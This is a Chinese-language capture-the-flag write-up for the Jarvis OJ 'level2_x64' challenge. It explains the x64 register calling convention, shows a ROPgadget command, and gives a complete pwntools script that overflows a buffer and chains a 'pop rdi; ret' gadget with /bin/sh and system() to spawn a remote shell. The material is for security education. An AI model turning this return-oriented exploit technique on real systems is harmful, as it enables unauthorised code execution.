level2_x64和level2大体上都一样,唯一的区别就是一个是64位的,一个是32位的,在做这题之前我们需要了解一点x86和x64的相关知识。
x86的参数都保存在栈上面,但是x64中有些不同,x64的前6个参数依次保存在RDI、RSI、RDX、RCX、R8和R9之中,如果还有更多的参数的话参会保存在栈上
level2_x64也是开启了NX的,所以我们没有办法直接插入shellcode,但是程序之中一样调用了system函数,还有参数binsh,所以我们可以通过hijack方法直接跳转到system函数之中。
我们刚刚也知道了x64位的参数是先保存在六个特殊的寄存器之中,之后才存放在栈中,所以如果我们要将参数binsh传给system,我们必须要构建一个简单的gadget,在这个gadget之中调用了寄存器RDI。
ROPgadget --binary level2_x64 --only "pop|rdi|ret"
最后我们便可以进行攻击了
from pwn import *
from time import *
debug = False
local = False
x86 = True
if debug:
context.log_level = 'debug'
else:
context.log_level = 'info'
if x86:
libc = ELF('/lib32/libc.so.6')
else:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local:
p = process('./level2_x64')
else:
p = remote('pwn2.jarvisoj.com',9882)
system = 0x04004C0
binsh = 0x0600A90
popret = 0x00000000004006b3
p.recvuntil("Input:\n")
payload = 'a'*(0x80+8) +p64(popret) + p64(binsh)+ p64(system)
p.sendline(payload)
p.interactive()